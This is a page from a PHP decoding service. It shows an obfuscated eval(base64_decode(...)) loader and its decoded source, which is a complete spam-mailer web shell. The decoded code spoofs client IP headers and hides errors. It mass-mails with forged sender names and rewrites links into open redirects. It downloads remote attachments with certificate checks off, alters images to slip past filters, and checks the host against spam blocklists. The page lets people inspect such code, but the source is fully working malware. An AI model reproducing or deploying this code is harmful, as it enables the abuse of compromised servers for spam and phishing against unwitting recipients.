Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval( base64_decode( "CkBlcnJvcl9yZXBvcnRpbmcoIDAgKTsKQHNldF90aW1lX2xpbWl0KCAxNTAgKTsKQGln..
Decoded Output download
@error_reporting( 0 );
@set_time_limit( 150 );
@ignore_user_abort( true );
@ini_set( 'max_execution_time', 150 );
@ini_set( 'mail.add_x_header', 0 );
@ini_set( 'expose_php', 0 );
if( isset( $_GET[ 'check' ] ) ) {
exit( '#OK#' );
}
@$_SERVER[ 'PHP_SELF' ] = '/';
if( isset( $_SERVER[ 'SERVER_ADDR' ] ) && ! empty( $_SERVER[ 'SERVER_ADDR' ] ) ) {
$ip = $_SERVER[ 'SERVER_ADDR' ];
}
else {
$ip = rand( 1, 255 ) . '.' . rand( 0, 255 ) . '.' . rand( 0, 255 ) . '.' . rand( 0, 255 );
}
if( isset( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) && ! empty( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {
@$_SERVER[ 'HTTP_X_FORWARDED_FOR' ] = $ip;
}
if( isset( $_SERVER[ 'REMOTE_ADDR' ] ) ) {
while( $key = key( $_SERVER ) ) {
if( $_SERVER[ $key ] == $_SERVER[ 'REMOTE_ADDR' ] ) {
@$_SERVER[ $key ] = $ip;
break;
}
next( $_SERVER );
}
@$_SERVER[ 'REMOTE_ADDR' ] = $ip;
}
if( isset( $_REQUEST[ 'r' ] ) ) {
$n_st = '';
$n_st1 = '';
$n_st2 = '?';
$d_st = base64_decode( $_REQUEST[ 'r' ] );
$d_st1 = explode( '&', trim( $d_st ) );
for( $i = 0; $i < sizeof( $d_st1 ); $i++ ) {
$d_st2 = explode( '=', trim( $d_st1[ $i ] ) );
if( $d_st2[ 0 ] == 'l' ) {
$n_st = $d_st2[ 1 ];
}
else {
$n_st1 .= $n_st2 . $d_st2[ 0 ] . '=' . $d_st2[ 1 ];
$n_st2 = '&';
}
}
$n_st .= $n_st1;
?>
<meta http-equiv="refresh" content="0;url=<?php
echo $n_st;
?>"><?php
exit();
}
if( isset( $_REQUEST[ 'u' ] ) ) {
$n_st = '';
$n_st1 = '';
$n_st2 = '?';
$d_st = base64_decode( $_REQUEST[ 'u' ] );
file_put_contents( 'logsubsc.log', date( '[Y-m-d H:i:s] ' ) . $d_st . "
", FILE_APPEND | LOCK_EX );
?>
<br><br><br>
<center>You have unsubscribed from the newsletter!!!</center><br>
<center>Email: <b><?php
echo $d_st;
?></b></center>
<?php
}
if( isset( $_REQUEST[ 'lu' ] ) ) {
$fc = file_get_contents( 'logsubsc.log' );
$fc = preg_replace( "/
/", "<br/>
", $fc );
echo $fc;
}
if( isset( $_REQUEST[ 'du' ] ) ) {
unlink( 'logsubsc.log' );
}
if( isset( $_REQUEST[ 'ce' ] ) === true ) {
parse_str( base64_decode( $_REQUEST[ 'ce' ] ), $_REQUEST );
}
$encoding = "UTF-8";
if( isset( $_REQUEST[ 'e' ] ) ) {
$encoding = $_REQUEST[ 'e' ];
}
if( isset( $_REQUEST[ 'ch' ] ) === true ) {
Check();
exit;
}
if( isset( $_REQUEST[ 'sn' ] ) === true ) {
Send();
exit;
}
function Send()
{
$domain = $_SERVER[ "HTTP_HOST" ];
$domain = str_replace( 'www.', '', $domain );
$domain_ = explode( '.', $domain );
$_REQUEST[ 'm' ] = str_replace( '[shelldomain:]', ucfirst( $domain_[ 0 ] ), $_REQUEST[ 'm' ] );
//echo $_REQUEST['m'];
$emails = urldecode( $_REQUEST[ 'em' ] );
$explemails = explode( "
", $emails );
global $randm_array;
global $attachement_array;
global $unsubscribe;
$unsubscribe = 0;
for( $c = 0, $max = sizeof( $explemails ); $c < $max; $c++ ) {
$data = explode( '|', trim( $explemails[ $c ] ) );
$r_replyto = macrosRandom( $_REQUEST[ 'rpt' ], $data );
$r_from_ = macrosRandom( dataHandler( $_REQUEST[ 'f' ] ), $data );
$r_from = explode( ':', $r_from_ );
if( is_file( $_FILES[ 'file' ][ 'tmp_name' ] ) ) {
$r_subject = dataHandler( urldecode( $_REQUEST[ 's' ] ) );
$r_message = urldecode( $_REQUEST[ 'm' ] );
}
else {
$r_subject = dataHandler( $_REQUEST[ 's' ] );
$r_message = $_REQUEST[ 'm' ];
}
$r_subject = str_replace( '[from:]', $r_from[ 0 ], $r_subject );
$r_subject = str_replace( '[email:]', $data[ 0 ], $r_subject );
$r_subject = macrosRandom( $r_subject, $data );
$r_message = str_replace( '[from:]', $r_from[ 0 ], $r_message );
$r_message = str_replace( '[email:]', $data[ 0 ], $r_message );
$r_message = macrosRandom( $r_message, $data );
if( ! SMail( $data[ 0 ], $r_from[ 1 ], $r_message, $r_subject, $r_replyto, $r_from[ 0 ] ) ) {
print '*send:bad*';
exit;
}
}
print '*send:ok*';
exit;
}
function SMail( $to, $from, $message, $subject, $replyto, $from_name )
{
global $unsubscribe;
global $attachement_array;
global $encoding;
if( is_file( $_FILES[ 'file' ][ 'tmp_name' ] ) ) {
$fileString = fileString( $_FILES[ 'file' ][ 'name' ] );
$filename = $_REQUEST[ 'fn' ];
}
$from_name = trim( $from_name );
if( strlen( trim( $from_name ) ) < 1 ) {
$from_name = randText();
}
if( strlen( trim( $from ) ) < 1 ) {
$from = str_replace( ' ', '', trim( $from_name ) ) . '@' . $_SERVER[ 'HTTP_HOST' ];
}
if( strlen( trim( $replyto ) ) < 1 ) {
$replyto = $from;
}
if( $_REQUEST[ 'tp' ] == '1' ) {
$type = 'text/html';
}
else {
$type = 'text/plain';
}
$headers = GetHeaders( $from_name, $from, $replyto );
$boundary = md5( uniqid() );
$headers .= "Content-Type: multipart/alternative; boundary=\"" . $boundary . "\"
";
if( $unsubscribe == 1 ) {
$headers .= 'List-Unsubscribe: <mailto:' . $from . ">" . "
";
}
//plain version
$body = "--" . $boundary . "
";
$body .= "Content-Type: text/plain; charset=UTF-8
";
$body .= 'Content-Transfer-Encoding: base64' . "
";
$message_plain = cut_tags( $message );
$body .= trim( chunk_split( base64_encode( $message_plain ) ) );
//html version
if( $_REQUEST[ 'tp' ] == '1' ) {
$body .= "
--" . $boundary . "
";
$body .= "Content-Type: text/html; charset=UTF-8
";
$body .= 'Content-Transfer-Encoding: base64' . "
";
$body .= trim( chunk_split( base64_encode( $message ) ) );
}
//files attachement
if( is_file( $_FILES[ 'file' ][ 'tmp_name' ] ) ) {
$body .= "
--" . $boundary . "
";
$body .= 'Content-Type: ' . $_FILES[ 'file' ][ 'type' ] . '; name="' . $filename . '"' . "
";
$body .= 'Content-Disposition: attachment; filename="' . $filename . '"' . "
";
$body .= 'Content-Transfer-Encoding: base64' . "
";
$body .= 'X-Attachment-Id: ' . rand( 1000, 99999 ) . "
";
$body .= trim( chunk_split( base64_encode( $fileString ) ) );
}
if( $attachement_array ) {
$files = array();
for( $i = 0; $i < count( $attachement_array ); $i++ ) {
$attachement_array[ $i ][ 1 ] = trim( $attachement_array[ $i ][ 1 ] );
file_put_contents( $attachement_array[ $i ][ 1 ], DownloadSource( $attachement_array[ $i ][ 0 ] ) );
}
for( $i = 0; $i < count( $attachement_array ); $i++ ) {
if( isset( $attachement_array[ $i ][ 1 ] ) ) {
$fp = fopen( $attachement_array[ $i ][ 1 ], "r" );
if( $fp ) {
$files[ $i ] = fread( $fp, filesize( $attachement_array[ $i ][ 1 ] ) );
}
fclose( $fp );
if( isset( $files[ $i ] ) ) {
$body .= "
--" . $boundary . "
";
$body .= 'Content-Type: ' . mime_content_type(
$attachement_array[ $i ][ 1 ]
) . '; name="' . $attachement_array[ $i ][ 1 ] . '"' . "
";
$body .= 'Content-Disposition: attachment; filename="' . $attachement_array[ $i ][ 1 ] . '"' . "
";
$body .= 'Content-Transfer-Encoding: base64' . "
";
$body .= 'X-Attachment-Id: ' . rand( 1000, 99999 ) . "
";
$body .= trim( chunk_split( base64_encode( file_get_contents( $attachement_array[ $i ][ 1 ] ) ) ) );
unlink( $attachement_array[ $i ][ 1 ] );
}
}
}
}
$body .= "
--" . $boundary . "--";
if( $encoding == 'UTF-8' ) {
$subject = "=?UTF-8?B?" . base64_encode( $subject ) . "?=";
}
else {
$subject = "=?$encoding?B?" . base64_encode( iconv( 'UTF-8', $encoding, $subject ) ) . "?=";
}
if( mail( $to, $subject, $body, $headers ) ) {
return true;
}
return false;
}
// Get random or one array element
function dataHandler( $data )
{
$ex = explode( "
", $data );
if( sizeof( $ex ) > 1 ) {
return trim( $ex[ rand( 0, sizeof( $ex ) - 1 ) ] );
}
return trim( $data );
}
function macrosRandom( $text, $data )
{
global $randm_array;
global $attachement_array;
global $unsubscribe;
preg_match_all( '#\[num:(.+?)\]#is', $text, $result2 );
$i = 0;
preg_match_all( '#\[randM:(.+?)\]#is', $text, $result3 );
$q = 0;
preg_match_all( '#\[randstr:(.+?)\]#is', $text, $result4 );
$w = 0;
preg_match_all( '#\[var:(.+?)\]#is', $text, $result5 );
$e = 0;
preg_match_all( '#\{rand:(.+?)\}#is', $text, $result6 );
$f = 0;
preg_match_all( '#\[redirect:(.+?)\]#is', $text, $result7 );
$h = 0;
preg_match_all( '#\{randM:(.+?)\}#is', $text, $result8 );
$u = 0;
//redirect
while( $h < sizeof( $result7[ 1 ] ) ) {
$link_site = '';
$link_par1 = explode( '>>>', $result7[ 1 ][ $h ] );
$current_url_ = '';
//print_r($link_par1);
preg_match_all( '#\{rand:(.+?)\}#is', $link_par1[ 0 ], $link_par2 );
if( sizeof( $link_par2[ 1 ] ) > 0 ) {
$link_par3 = explode( '|', $link_par2[ 1 ][ 0 ] );
$link_site = $link_par3[ array_rand( $link_par3 ) ];
}
else {
$link_site = $link_par1[ 0 ];
}
$link_site = "l=" . $link_site;
for( $i_link = 1; $i_link < sizeof( $link_par1 ); $i_link++ ) {
$link_par1[ $i_link ] = str_replace( "{", "", $link_par1[ $i_link ] );
$link_par1[ $i_link ] = str_replace( "}", "", $link_par1[ $i_link ] );
if( strpos( $link_par1[ $i_link ], 'email:' ) !== false ) {
$link_site .= "&e=" . trim( $data[ 0 ] );
}
else {
if( strpos( $link_par1[ $i_link ], 'var:' ) !== false ) {
$link_par4 = explode( ':', $link_par1[ $i_link ] );
$link_site .= "&v" . $link_par4[ 1 ] . "=" . trim( $data[ $link_par4[ 1 ] ] );
}
else {
if( strpos( $link_par1[ $i_link ], 'link:' ) !== false ) {
$link_par4 = explode( ':', $link_par1[ $i_link ], 2 );
$current_url_ = $link_par4[ 1 ];
}
else {
$link_site .= "&" . $link_par1[ $i_link ];
}
}
}
//print "-".$link_par1[$i_link];
}
//print $link_site;
if( strlen( $current_url_ ) > 0 ) {
$current_url = $current_url_;
}
else {
$current_url = "http://" . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
}
$current_url .= "?r=" . base64_encode( $link_site );
$text = str_replace_once( $result7[ 0 ][ $h ], $current_url, $text );
$h++;
}
//unsubscribe
$k = strpos( $text, '[unsubscribe:]' );
if( $k != FALSE ) {
$current_url = "http://" . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
$current_url .= "?u=" . base64_encode( $data[ 0 ] );
$unsubscribe = 1;
$text = str_replace( '[unsubscribe:]', $current_url, $text );
}
//{rand
while( $f < sizeof( $result6[ 1 ] ) ) {
$rand = explode( '|', $result6[ 1 ][ $f ] );
$rand = $rand[ array_rand( $rand ) ];
$text = str_replace_once( $result6[ 0 ][ $f ], $rand, $text );
$f++;
}
while( $i < sizeof( $result2[ 1 ] ) ) {
$rand = explode( '|', $result2[ 1 ][ $i ] );
if( ! is_numeric( $rand[ 0 ] ) or ! is_numeric( $rand[ 1 ] ) ) {
continue;
}
$rand = rand( $rand[ 0 ], $rand[ 1 ] );
$text = str_replace_once( $result2[ 0 ][ $i ], $rand, $text );
$i++;
}
//{randM
while( $u < sizeof( $result8[ 1 ] ) ) {
$rand = explode( '|', $result8[ 1 ][ $u ] );
//$rand=$rand[array_rand($rand)];
$flag_r = false;
for( $i_link = 0; $i_link < sizeof( $result8[ 1 ] ); $i_link++ ) {
if( $result8[ 0 ][ $u ] == $randm_array[ $i_link ][ 0 ] ) {
$rand = $randm_array[ $i_link ][ 1 ];
$flag_r = true;
break;
}
}
if( $flag_r == false ) {
$rand = $rand[ array_rand( $rand ) ];
$randm_array[] = array(
$result3[ 0 ][ $u ],
$rand
);
}
$text = str_replace( $result8[ 0 ][ $u ], $rand, $text );
$u++;
}
//[randM
while( $q < sizeof( $result3[ 1 ] ) ) {
$rand = explode( '|', $result3[ 1 ][ $q ] );
//$rand=$rand[array_rand($rand)];
$flag_r = false;
for( $i_link = 0; $i_link < sizeof( $result3[ 1 ] ); $i_link++ ) {
if( $result3[ 0 ][ $q ] == $randm_array[ $i_link ][ 0 ] ) {
$rand = $randm_array[ $i_link ][ 1 ];
$flag_r = true;
break;
}
}
if( $flag_r == false ) {
$rand = $rand[ array_rand( $rand ) ];
$randm_array[] = array(
$result3[ 0 ][ $q ],
$rand
);
}
$text = str_replace( $result3[ 0 ][ $q ], $rand, $text );
$q++;
}
// [var:
while( $w < sizeof( $result4[ 1 ] ) ) {
$rand = explode( '|', $result4[ 1 ][ $w ] );
if( ! is_numeric( $rand[ 0 ] ) or ! is_numeric( $rand[ 1 ] ) ) {
continue;
}
$rand = randString( $rand[ 0 ], $rand[ 1 ] );
$text = str_replace_once( $result4[ 0 ][ $w ], $rand, $text );
$w++;
}
while( $e < sizeof( $result5[ 1 ] ) ) {
if( ! is_numeric( $result5[ 1 ][ $e ] ) ) {
continue;
}
//echo $result5[0][$e]." - ".$data[$result5[1][$e]]."<br>";
$text = str_replace( $result5[ 0 ][ $e ], $data[ $result5[ 1 ][ $e ] ], $text );
$e++;
}
preg_match_all( '#\[rand:(.+?)\]#is', $text, $result );
$c = 0;
while( $c < sizeof( $result[ 1 ] ) ) {
$rand = explode( '|', $result[ 1 ][ $c ] );
$rand = $rand[ array_rand( $rand ) ];
$text = str_replace_once( $result[ 0 ][ $c ], $rand, $text );
$c++;
}
$p = strpos( $text, 'spoof:' );
if( $p != FALSE ) {
$text = str_replace( '[spoof:', ':', $text );
$text = str_replace( ']', '', $text );
}
//base64
$text = str_replace( '{var:}', '{var:1}', $text );
$text = str_replace( '{email:}', trim( $data[ 0 ] ), $text );
preg_match_all( '#\[base64:(.+?)\]#is', $text, $result12 );
$h2 = 0;
while( $h2 < sizeof( $result12[ 1 ] ) ) {
$result12_text = $result12[ 1 ][ $h2 ];
//{var1}
preg_match_all( '#\{var:(.+?)\}#is', $result12_text, $result12_var );
$h2_var = 0;
while( $h2_var < sizeof( $result12_var[ 1 ] ) ) {
if( is_numeric( $result12_var[ 1 ][ $h2_var ] ) ) {
$result12_text = str_replace_once(
$result12_var[ 0 ][ $h2_var ], $data[ $result12_var[ 1 ][ $h2_var ] ], $result12_text
);
}
$h2_var++;
}
$text = str_replace_once( $result12[ 0 ][ $h2 ], base64_encode( $result12_text ), $text );
$h2++;
}
//attachement
preg_match_all( '#\[attachment:(.+?)\]#is', $text, $result9 );
$d = 0;
while( $d < sizeof( $result9[ 1 ] ) ) {
$attachement_array0 = explode( '>>>', $result9[ 1 ][ $d ] );
$attachement_array[] = $attachement_array0;
$text = str_replace_once( $result9[ 0 ][ $d ], "", $text );
$d++;
}
//attachement2
preg_match_all( '#\[attachmentM:(.+?)\]#is', $text, $result10 );
$s = 0;
while( $s < sizeof( $result10[ 1 ] ) ) {
$attachement_array0 = explode( '>>>', $result10[ 1 ][ $s ] );
preg_match_all( '#\((.+?)\)#is', $attachement_array0[ 0 ], $result11 );
$s1 = 0;
while( $s1 < sizeof( $result11[ 1 ] ) ) {
$attachement_array1 = explode( ',', $result11[ 1 ][ $s1 ] );
$attachement_array1_ = rand( intval( $attachement_array1[ 0 ] ), intval( $attachement_array1[ 1 ] ) - 1 );
$attachement_array0[ 0 ] = str_replace_once(
$result11[ 1 ][ $s1 ], $attachement_array1_, $attachement_array0[ 0 ]
);
$attachement_array0[ 0 ] = str_replace( '(', '', $attachement_array0[ 0 ] );
$attachement_array0[ 0 ] = str_replace( ')', '', $attachement_array0[ 0 ] );
$s1++;
}
$attachement_array[] = $attachement_array0;
$text = str_replace_once( $result10[ 0 ][ $s ], "", $text );
$s++;
}
//image64
//https://stackoverflow.com/questions/3279523/base64-images-to-gmail/12786336#12786336
preg_match_all( '#\[image64:(.+?)\]#is', $text, $result13 );
$d2 = 0;
$image64_file = 'image64_file.png';
$image64_file_ = '';
while( $d2 < sizeof( $result13[ 1 ] ) ) {
file_put_contents( $image64_file, file_get_contents( $result13[ 1 ][ $d2 ] ) );
$fp = fopen( $image64_file, "r" );
if( $fp ) {
$image64_file_ = fread( $fp, filesize( $image64_file ) );
}
fclose( $fp );
//echo "file: ".$image64_file_;
$result13_text = 'data:' . mime_content_type( $image64_file ) . ';base64,' . chunk_split(
base64_encode( $image64_file_ )
) . '';
$text = str_replace_once( $result13[ 0 ][ $d2 ], $result13_text, $text );
unlink( $image64_file );
$d2++;
}
return $text;
}
function GetHeaders( $fromname, $frommail, $replyto = null )
{
global $encoding;
if( is_null( $replyto ) ) {
$replyto = $frommail;
}
if( $encoding == 'UTF-8' ) {
$headers = "From: =?UTF-8?B?" . base64_encode( $fromname ) . "?= <" . $frommail . ">" . "
";
}
else {
$headers = "From: =?$encoding?B?" . base64_encode(
iconv( 'UTF-8', $encoding, $fromname )
) . "?= <" . $frommail . ">" . "
";
}
$headers .= "Reply-To: " . $replyto . "
";
$headers .= "X-Mailer: " . strtoupper( randText() ) . "
";
$headers .= "MIME-Version: 1.0" . "
";
return $headers;
}
// Check for function_exists('mail')
function Check()
{
$crlf = "
";
if( isset( $_REQUEST[ 'st' ] ) === true ) {
print '*valid:ok*' . $crlf;
}
if( isset( $_REQUEST[ 'm' ] ) === true ) {
if( function_exists( 'mail' ) ) {
$ex = explode( ':', $_REQUEST[ 'm' ] );
$email = $ex[ 0 ];
if( CheckMail( $email ) ) {
print '*mail:ok*' . $crlf;
}
else {
print '*mail:bad*' . $crlf;
}
}
else {
print '*mail:bad*' . $crlf;
}
}
if( isset( $_REQUEST[ 'rb' ] ) === true ) {
$rbl = CheckRBL();
if( $rbl == '' ) {
print '*rbl:ok*';
}
else {
print '*rbl:' . $rbl . '*';
}
}
}
function randString( $min, $max )
{
$str = 'qwertyuiopasdfghjklzxcvbnm';
$size = rand( $min, $max );
$result = '';
for( $c = 0; $c < $size; $c++ ) {
$result .= $str[ rand( 0, strlen( $str ) - 1 ) ];
}
return $result;
}
function CheckRBL()
{
$dnsbl_check = array(
'b.barracudacentral.org',
'xbl.spamhaus.org',
'sbl.spamhaus.org',
'zen.spamhaus.org',
'bl.spamcop.net'
);
$ip = gethostbyname( $_SERVER[ 'HTTP_HOST' ] );
$result = '';
if( $ip ) {
$rip = implode( '.', array_reverse( explode( '.', $ip ) ) );
foreach( $dnsbl_check as $val ) {
if( checkdnsrr( $rip . '.' . $val . '.', 'A' ) ) {
$result .= $val . ', ';
}
}
if( strlen( $result ) > 2 ) {
return substr( $result, 0, -2 );
}
else {
return '';
}
}
else {
return '*rbl:unknown*';
}
return '';
}
// Check mail with random text
function CheckMail( $to )
{
$headers = GetHeaders( randText(), randText() . '@' . $_SERVER[ 'HTTP_HOST' ] );
//$header = 'From: ' . '=?utf-8?B?' . base64_encode(randText()) . '?=' . ' <' . $from_name . '@' . $_SERVER['HTTP_HOST'] . ">
";
$headers .= 'Content-Type: text/html; charset=UTF-8' . "
";
$headers .= 'Content-Transfer-Encoding: base64' . "
";
$message = chunk_split( base64_encode( tbfyFUckgnvjhvgjkM() ) );
$subject = $_SERVER[ 'HTTP_HOST' ];
if( mail( $to, $subject, $message, $headers ) ) {
return true;
}
return false;
}
function cut_tags( $message )
{
$message1 = trim( strip_tags( $message, '<a>' ) );
$find_a = True;
$message1_ = array();
$find_a_i = array();
$find_a_i[ 0 ] = 0;
while( $find_a == True ) {
$find_a_i[ 0 ] = strpos( $message1, '<a', $find_a_i[ 0 ] );
if( $find_a_i[ 0 ] != False ) {
$find_a_i[ 1 ] = strpos( $message1, 'href', $find_a_i[ 0 ] + 1 );
$find_a_i[ 1 ] = strpos( $message1, '"', $find_a_i[ 1 ] + 1 );
$find_a_i[ 2 ] = strpos( $message1, '"', $find_a_i[ 1 ] + 1 );
$find_a_i[ 3 ] = strpos( $message1, '</', $find_a_i[ 2 ] + 1 );
$find_a_i[ 3 ] = strpos( $message1, '>', $find_a_i[ 3 ] + 1 );
$find_a_i[ 4 ] = strlen( $message1 ) - 1;
$message1_[ 0 ] = substr( $message1, 0, $find_a_i[ 0 ] );
$message1_[ 1 ] = substr( $message1, $find_a_i[ 1 ] + 1, $find_a_i[ 2 ] - $find_a_i[ 1 ] - 1 );
$message1_[ 2 ] = substr( $message1, $find_a_i[ 3 ] + 1, $find_a_i[ 4 ] - $find_a_i[ 3 ] + 1 );
$message1 = $message1_[ 0 ] . $message1_[ 1 ] . $message1_[ 2 ];
}
else {
$find_a = False;
}
}
return $message1;
}
function str_replace_once( $search, $replace, $text )
{
$pos = strpos( $text, $search );
return $pos !== false ? substr_replace( $text, $replace, $pos, strlen( $search ) ) : $text;
}
function GetFilename( $name )
{
$format = end( explode( '.', $name ) );
$array[] = 'SDC';
$array[] = 'P';
$array[] = 'DC';
$array[] = 'CAM';
$array[] = 'IMG-';
$img = array(
'png',
'jpg',
'gif',
'jpeg',
'bmp'
);
for( $c = 0, $max = sizeof( $img ); $c < $max; $c++ ) {
if( strtolower( $format ) == $img[ $c ] ) {
$rand = rand( 10, 999999 );
return $array[ rand( 0, 4 ) ] . $rand . '.' . $format;
}
}
return randText() . '.' . $format;
}
function DownloadSource( $url )
{
$resp = '';
if( is_callable( 'curl_init' ) ) {
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch, CURLOPT_HEADER, 0 );
curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, 10 );
curl_setopt( $ch, CURLOPT_TIMEOUT, 10 );
$resp = curl_exec( $ch );
$header = curl_getinfo( $ch );
curl_close( $ch );
if( $header[ 'http_code' ] != 200 ) {
return false;
}
}
else {
$url_parsed = parse_url( $url );
$ssl = ( $url_parsed[ 'scheme' ] == 'https' );
$context = stream_context_create( [
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
] );
$resultHost = ( $ssl ? 'ssl://' : '' ) . $url_parsed[ 'host' ];
if( $url_parsed[ 'port' ] ) {
$resultHost .= ":" . $url_parsed[ 'port' ];
}
else {
$resultHost .= ( $ssl ) ? ":" . 443 : ":" . 80;
}
$socket = stream_socket_client( $resultHost, $errno, $errMsg, 15, STREAM_CLIENT_CONNECT, $context );
if( $socket ) {
fputs( $socket, "GET " . $url_parsed[ 'path' ] . " HTTP/1.0
" );
fputs( $socket, "Host: " . $url_parsed[ 'host' ] . "
" );
fputs( $socket, "Connection: close
" );
$r = 0;
while( ! feof( $socket ) ) {
$b = fgets( $socket, 1024 );
if( $r ) {
$resp .= $b;
}
if( $b == "
" ) {
$r = 1;
}
}
fclose( $socket );
}
}
if( empty( $resp ) ) {
return false;
}
return $resp;
}
function fileString( $name )
{
$format = end( explode( '.', $name ) );
if( strtolower( $format ) == 'jpeg' or strtolower( $format ) == 'jpg' ) {
if( CheckBfuiklmekg6() ) {
return Bfuiklmekg6( $_FILES[ 'file' ][ 'tmp_name' ] );
}
}
return file_get_contents( $_FILES[ 'file' ][ 'tmp_name' ] );
}
function randText()
{
$str = 'qwertyuiopasdfghjklzxcvbnm';
$size = rand( 3, 8 );
$result = '';
for( $c = 0; $c < $size; $c++ ) {
$result .= $str[ rand( 0, strlen( $str ) - 1 ) ];
}
return $result;
}
// Random text version for message
function tbfyFUckgnvjhvgjkM()
{
$str = 'qwertyuiopasdfghjklzxcvbnm';
$size = rand( 9, 20 );
$result = '';
for( $c = 0; $c < $size; $c++ ) {
$rand = rand( 6, 10 );
for( $i = 0; $i < $rand; $i++ ) {
$result .= $str[ rand( 0, strlen( $str ) - 1 ) ];
}
$sign = array(
' ',
' ',
' ',
' ',
', ',
'? ',
'. ',
'. '
);
$result .= $sign[ rand( 0, 7 ) ];
}
return trim( $result );
}
function CheckBfuiklmekg6()
{
$array = array(
'getimagesize',
'imagecreatetruecolor',
'imagecreatefromjpeg',
'imagecopyresampled',
'imagefilter',
'ob_start',
'imagejpeg',
'ob_get_clean'
);
for( $c = 0, $max = sizeof( $array ); $c < $max; $c++ ) {
if( ! function_exists( $array[ $c ] ) ) {
return false;
}
}
return true;
}
function Bfuiklmekg6( $file )
{
$rand[ 'width' ] = rand( 1, 2 );
$rand[ 'height' ] = rand( 1, 2 );
$rand[ 'quality' ] = rand( 1, 2 );
$rand[ 'brightness' ] = rand( 1, 2 );
$rand[ 'contrast' ] = rand( 1, 2 );
list( $width, $height ) = getimagesize( $file );
if( $rand[ 'width' ] == 1 ) {
$sign = rand( 1, 2 );
if( $sign == 1 ) {
$new_width = $width + rand( 1, 10 );
}
else {
$new_width = $width - rand( 1, 10 );
}
}
else {
$new_width = $width;
}
if( $rand[ 'height' ] == 1 ) {
$sign = rand( 1, 2 );
if( $sign == 1 ) {
$new_height = $height + rand( 1, 10 );
}
else {
$new_height = $height - rand( 1, 10 );
}
}
else {
$new_height = $height;
}
if( $rand[ 'quality' ] == 1 ) {
$quality = 75;
}
else {
$quality = rand( 65, 105 );
}
if( $rand[ 'brightness' ] == 1 ) {
$brightness = rand( 0, 35 );
}
else {
$brightness = 0;
}
if( $rand[ 'contrast' ] == 1 ) {
$sign = rand( 1, 2 );
if( $sign == 1 ) {
$sign = '+';
}
else {
$sign = '-';
}
$contrast = rand( 1, 15 );
}
else {
$sign = '';
$contrast = 0;
}
$image_p = imagecreatetruecolor( $new_width, $new_height );
$image = imagecreatefromjpeg( $file );
imagecopyresampled( $image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height );
imagefilter( $image_p, IMG_FILTER_CONTRAST, $sign . $contrast );
imagefilter( $image_p, IMG_FILTER_BRIGHTNESS, $brightness );
ob_start();
imagejpeg( $image_p, null, $quality );
$out = ob_get_clean();
imagedestroy( $image_p );
return $out;
}
/*function RandGmail($email)
{
$login = explode('@', $email);
$result = '';
$login = strtolower(str_replace('.', '', $login[0]));
$size = strlen($login);
for ($c = 0, $max = $size; $c < $max; $c++) {
$up = rand(0, 1);
$dot = rand(0, 1);
$symbol = $login[$c];
if ($up == 1) {
$symbol = strtoupper($symbol);
}
if ($dot == 1) {
$symbol = $symbol . '.';
}
$result .= $symbol;
}
if (substr($result, -1) == '.') {
$result = substr($result, 0, -1);
}
return $result . '@gmail.com';
}*/
Did this file decode correctly?
Original Code
eval( base64_decode( "CkBlcnJvcl9yZXBvcnRpbmcoIDAgKTsKQHNldF90aW1lX2xpbWl0KCAxNTAgKTsKQGlnbm9yZV91c2VyX2Fib3J0KCB0cnVlICk7CkBpbmlfc2V0KCAnbWF4X2V4ZWN1dGlvbl90aW1lJywgMTUwICk7CkBpbmlfc2V0KCAnbWFpbC5hZGRfeF9oZWFkZXInLCAwICk7CkBpbmlfc2V0KCAnZXhwb3NlX3BocCcsIDAgKTsKCmlmKCBpc3NldCggJF9HRVRbICdjaGVjaycgXSApICkgewogICAgZXhpdCggJyNPSyMnICk7Cn0KCkAkX1NFUlZFUlsgJ1BIUF9TRUxGJyBdID0gJy8nOwoKaWYoIGlzc2V0KCAkX1NFUlZFUlsgJ1NFUlZFUl9BRERSJyBdICkgJiYgISBlbXB0eSggJF9TRVJWRVJbICdTRVJWRVJfQUREUicgXSApICkgewogICAgJGlwID0gJF9TRVJWRVJbICdTRVJWRVJfQUREUicgXTsKfQplbHNlIHsKICAgICRpcCA9IHJhbmQoIDEsIDI1NSApIC4gJy4nIC4gcmFuZCggMCwgMjU1ICkgLiAnLicgLiByYW5kKCAwLCAyNTUgKSAuICcuJyAuIHJhbmQoIDAsIDI1NSApOwp9CgppZiggaXNzZXQoICRfU0VSVkVSWyAnSFRUUF9YX0ZPUldBUkRFRF9GT1InIF0gKSAmJiAhIGVtcHR5KCAkX1NFUlZFUlsgJ0hUVFBfWF9GT1JXQVJERURfRk9SJyBdICkgKSB7CiAgICBAJF9TRVJWRVJbICdIVFRQX1hfRk9SV0FSREVEX0ZPUicgXSA9ICRpcDsKfQoKaWYoIGlzc2V0KCAkX1NFUlZFUlsgJ1JFTU9URV9BRERSJyBdICkgKSB7CgogICAgd2hpbGUoICRrZXkgPSBrZXkoICRfU0VSVkVSICkgKSB7CiAgICAgICAgaWYoICRfU0VSVkVSWyAka2V5IF0gPT0gJF9TRVJWRVJbICdSRU1PVEVfQUREUicgXSApIHsKICAgICAgICAgICAgQCRfU0VSVkVSWyAka2V5IF0gPSAkaXA7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICBuZXh0KCAkX1NFUlZFUiApOwogICAgfQoKICAgIEAkX1NFUlZFUlsgJ1JFTU9URV9BRERSJyBdID0gJGlwOwp9CgppZiggaXNzZXQoICRfUkVRVUVTVFsgJ3InIF0gKSApIHsKICAgICRuX3N0ID0gJyc7CiAgICAkbl9zdDEgPSAnJzsKICAgICRuX3N0MiA9ICc/JzsKICAgICRkX3N0ID0gYmFzZTY0X2RlY29kZSggJF9SRVFVRVNUWyAncicgXSApOwogICAgJGRfc3QxID0gZXhwbG9kZSggJyYnLCB0cmltKCAkZF9zdCApICk7CiAgICBmb3IoICRpID0gMDsgJGk